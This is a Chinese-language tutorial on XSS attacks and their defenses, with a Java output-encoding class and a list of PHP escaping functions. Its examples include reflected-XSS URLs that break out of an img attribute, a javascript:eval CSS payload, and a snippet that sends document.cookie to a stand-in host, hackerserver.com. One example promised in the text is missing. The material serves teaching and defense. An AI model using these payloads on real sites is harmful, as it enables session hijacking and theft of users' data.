XSS攻击原理与解决方法

概述：

跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在Web应用程序中的计算机安全漏洞，是由于Web应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和客户端Javascript脚本)注入到网页中，当其他用户浏览这些网页时，就会执行其中的恶意代码，对受害用户可能采用Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。

XSS攻击是Web攻击中最常见的攻击方法之一，它是通过对网页注入可执行代码且成功地被浏览器执行，达到攻击的目的，形成了一次有效XSS攻击，一旦攻击成功，它可以获取用户的联系人列表，然后向联系人发送虚假信息，可以删除用户的日志等等，有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼，它带来的危害是巨大的，是web安全的头号大敌。

XSS 的本质是在服务器响应数据时，插入可执行代码，这些代码分别插在不同的位置上。

XSS跨站漏洞最终形成的原因是对输入与输出没有严格过滤，防御XSS，只要把控好输入与输出点，针对性地过滤，转义，就能杜绝XSS跨站漏洞。

XSS攻击是在用户的浏览器上执行的，其形成过程则是在服务器端页面渲染时，注入了恶意的HTML代码导致的。从MVC架构来说，是发生在View层，因此使用“输出编码”的防御方法更加合理，这意味着需要针对不同上下文的XSS攻击场景，使用不同的编码方式。


1)在HTML标签中输出变量
2)在HTML属性中输出变量
3)在Script标签中输出变量
4)在事件中输出变量
5)在CSS中输出变量
6)在URL中输出变量

攻击的条件：

实施XSS攻击需要具备两个条件：

一、需要向web页面注入恶意代码；

二、这些恶意代码能够被浏览器成功的执行。

看一下下面这个例子：


<div id="el" style="background:url('javascript:eval(document.getElementById("el").getAttribute("code")) ')"

        code="var a = document.createElement('a');

        a.innerHTML= '执行了恶意代码';document.body.appendChild(a);

        //这这里执行代码

        ">
</div>

这段代码在旧版的IE8和IE8以下的版本都是可以被执行的，火狐也能执行代码，但火狐对其禁止访问DOM对象，所以在火狐下执行将会看到控制里抛出异常：document is not defined （document是没有定义的）

再来看一下面这段代码：

<div>

  <img src="/images/handler.ashx?id=<%= Request.QueryString["id"] %>" />

</div>


相信很多程序员都觉得这个代码很正常，其实这个代码就存在一个反射型的XSS攻击，假如输入下面的地址：

http://www.xxx.com/?id=" /><script>alert(/xss/)</script><br x="

最终反射出来的HTML代码：

    <div>

    <img src="/images/handler.ashx?id=" /><script>alert(/xss/)</script><br x="" />
    </div>


也许您会觉得把ValidateRequest设置为true或者保持默认值就能高枕无忧了，其实这种情况还可以输入下面的地址达到相同的攻击效果：

http://www.xxx.com/?id=xx" onerror="this.onload()" onload="alert(/xss/)" x="


根据XSS攻击的效果可以分为几种类型：

第一、XSS反射型攻击，恶意代码并没有保存在目标网站，通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

反射型XSS只是简单地把用户输入的数据“反射”给浏览器。也就是说，黑客往往需要诱使用户“点击”一个恶意链接，才能攻击成功。反射型XSS也叫做“非持久型XSS”

反射型跨站脚本（Reflected Cross-site Scripting）,主要是用于将恶意脚本附加到URL地址的参数中。

反射型XSS的利用一般是攻击者通过特定手法（比如利用电子邮件），诱使用户去访问一个包含恶意代码的URL，当受害者单击这些专门设计的链接的时候，恶意JavaScript代码会直接在受害者主机上的浏览器执行。他的特点是只在用户单击时触发，而且只执行一次，非持久化。

反射型XSS的危害往往不如持久型XSS，因为恶意代码暴露在URL参数中，并且时刻要求用户单击方可触发，稍微有点儿安全意识的用户可以轻易看穿该链接是不可信任。如此一来，反射型XSS的攻击成本要比持久型XSS高很多。


第二、XSS存储型攻击，恶意代码被保存到目标网站的服务器中，这种攻击具有较强的稳定性和持久性，比较常见场景是在博客，论坛等社交网站上，但OA系统，和CRM系统上也能看到它身影，比如：某CRM系统的客户投诉功能上存在XSS存储型漏洞，黑客提交了恶意攻击代码，当系统管理员查看投诉信息时恶意代码执行，窃取了客户的资料，然而管理员毫不知情，这就是典型的XSS存储型攻击。存储型XSS通常也叫做“持久型XSS”。

持久型跨站脚本（Persistent Cross-site Scripting）也等于存储型跨站脚本（Stored Cross-site Scripting）,比反射型跨站脚本更具威胁性，并且可能影响到Web服务器自身的安全。

持久型XSS不需要用户去单击URL进行触发，所以它的危害比反射型XSS大，黑客可以利用它渗透网站、挂马、钓鱼......

XSS攻击能做些什么：

1.窃取cookies，读取目标网站的cookie发送到黑客的服务器上，如下面的代码：


var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;


2.读取用户未公开的资料，如果：邮件列表或者内容、系统的客户资料，联系人列表等等，如代码：

解决方法：

XSS Filter一般是基于黑白名单的安全过滤策略，即把要处理的数据分成白名单和黑名单两大列表，白名单存放的是可信赖、对应用程序不构成威胁的数据列表，黑名单则相反。


一种方法是在表单提交或者url参数传递前，对需要的参数进行过滤,请看如下XSS过滤工具类代码

import java.net.URLEncoder;

/**
* 过滤非法字符工具类
*
*/
public class EncodeFilter {

    //过滤大部分html字符
    public static String encode(String input) {
        if (input == null) {
            return input;
        }
        StringBuilder sb = new StringBuilder(input.length());
        for (int i = 0, c = input.length(); i < c; i++) {
            char ch = input.charAt(i);
            switch (ch) {
                case '&': sb.append("&amp;");
                    break;
                case '<': sb.append("&lt;");
                    break;
                case '>': sb.append("&gt;");
                    break;
                case '"': sb.append("&quot;");
                    break;
                case '\'': sb.append("&#x27;");
                    break;
                case '/': sb.append("&#x2F;");
                    break;
                default: sb.append(ch);
            }
        }
        return sb.toString();
    }

    //js端过滤
    public static String encodeForJS(String input) {
        if (input == null) {
            return input;
        }

        StringBuilder sb = new StringBuilder(input.length());

        for (int i = 0, c = input.length(); i < c; i++) {
            char ch = input.charAt(i);

            // do not encode alphanumeric characters and ',' '.' '_'
            if (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' ||
                    ch >= '0' && ch <= '9' ||
                    ch == ',' || ch == '.' || ch == '_') {
                sb.append(ch);
            } else {
                String temp = Integer.toHexString(ch);

                // encode up to 256 with \\xHH
                if (ch < 256) {
                    sb.append('\\').append('x');
                    if (temp.length() == 1) {
                        sb.append('0');
                    }
                    sb.append(temp.toLowerCase());

                // otherwise encode with \\uHHHH
                } else {
                    sb.append('\\').append('u');
                    for (int j = 0, d = 4 - temp.length(); j < d; j ++) {
                        sb.append('0');
                    }
                    sb.append(temp.toUpperCase());
                }
            }
        }

        return sb.toString();
    }

    /**
     * css非法字符过滤
     * http://www.w3.org/TR/CSS21/syndata.html#escaped-characters
    */
    public static String encodeForCSS(String input) {
        if (input == null) {
            return input;
        }

        StringBuilder sb = new StringBuilder(input.length());

        for (int i = 0, c = input.length(); i < c; i++) {
            char ch = input.charAt(i);

            // check for alphanumeric characters
            if (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' ||
                    ch >= '0' && ch <= '9') {
                sb.append(ch);
            } else {
                // return the hex and end in whitespace to terminate
                sb.append('\\').append(Integer.toHexString(ch)).append(' ');
            }
        }
        return sb.toString();
    }

    /**
     * URL参数编码
     * http://en.wikipedia.org/wiki/Percent-encoding
     */
    public static String encodeURIComponent(String input) {
        return encodeURIComponent(input, "utf-8");
    }

    public static String encodeURIComponent(String input, String encoding) {
        if (input == null) {
            return input;
        }
        String result;
        try {
            result = URLEncoder.encode(input, encoding);
        } catch (Exception e) {
            result = "";
        }
        return result;
    }

    public static boolean isValidURL(String input) {
        if (input == null || input.length() <  8 ) {
            return false;
        }
        char ch0 = input.charAt(0);
        if (ch0 == 'h') {
            if (input.charAt(1) == 't' &&
                input.charAt(2) == 't' &&
                input.charAt(3) == 'p') {
                char ch4 = input.charAt(4);
                if (ch4 == ':') {
                    if (input.charAt(5) == '/' &&
                        input.charAt(6) == '/') {

                        return isValidURLChar(input,7 );
                    } else {
                        return false;
                    }
                } else if (ch4 == 's') {
                    if (input.charAt(5) == ':' &&
                        input.charAt(6) == '/' &&
                        input.charAt(7) == '/') {

                        return isValidURLChar(input, 8 );
                    } else {
                        return false;
                    }
                } else {
                    return false;
                }
            } else {
                return false;
            }

        } else if (ch0 == 'f') {
            if( input.charAt(1) == 't' &&
                input.charAt(2) == 'p' &&
                input.charAt(3) == ':' &&
                input.charAt(4) == '/' &&
                input.charAt(5) == '/') {

                return isValidURLChar(input, 6);
            } else {
                return false;
            }
        }
        return false;
    }

    static boolean isValidURLChar(String url, int start) {
        for (int i = start, c = url.length(); i < c; i ++) {
            char ch = url.charAt(i);
            if (ch == '"' || ch == '\'') {
                return false;
            }
        }
        return true;
    }

}


二、 过滤用户输入的 检查用户输入的内容中是否有非法内容。如<>（尖括号）、”（引号）、 ‘（单引号）、%（百分比符号）、;（分号）、()（括号）、&（& 符号）、+（加号）等。、严格控制输出

可以利用下面这些函数对出现xss漏洞的参数进行过滤

1、htmlspecialchars() 函数,用于转义处理在页面上显示的文本。

2、htmlentities() 函数,用于转义处理在页面上显示的文本。

3、strip_tags() 函数,过滤掉输入、输出里面的恶意标签。

4、header() 函数,使用header("Content-type:application/json"); 用于控制 json 数据的头部，不用于浏览。

5、urlencode() 函数,用于输出处理字符型参数带入页面链接中。

6、intval() 函数用于处理数值型参数输出页面中。

7、自定义函数,在大多情况下，要使用一些常用的 html 标签，以美化页面显示，如留言、小纸条。那么在这样的情况下，要采用白名单的方法使用合法的标签显示，过滤掉非法的字符。

各语言示例：

   PHP的htmlentities()或是htmlspecialchars()。
   Python的cgi.escape()。
   ASP的Server.HTMLEncode()。
   ASP.NET的Server.HtmlEncode()或功能更强的Microsoft Anti-Cross Site Scripting Library
   Java的xssprotect(Open Source Library)。
   Node.js的node-validator。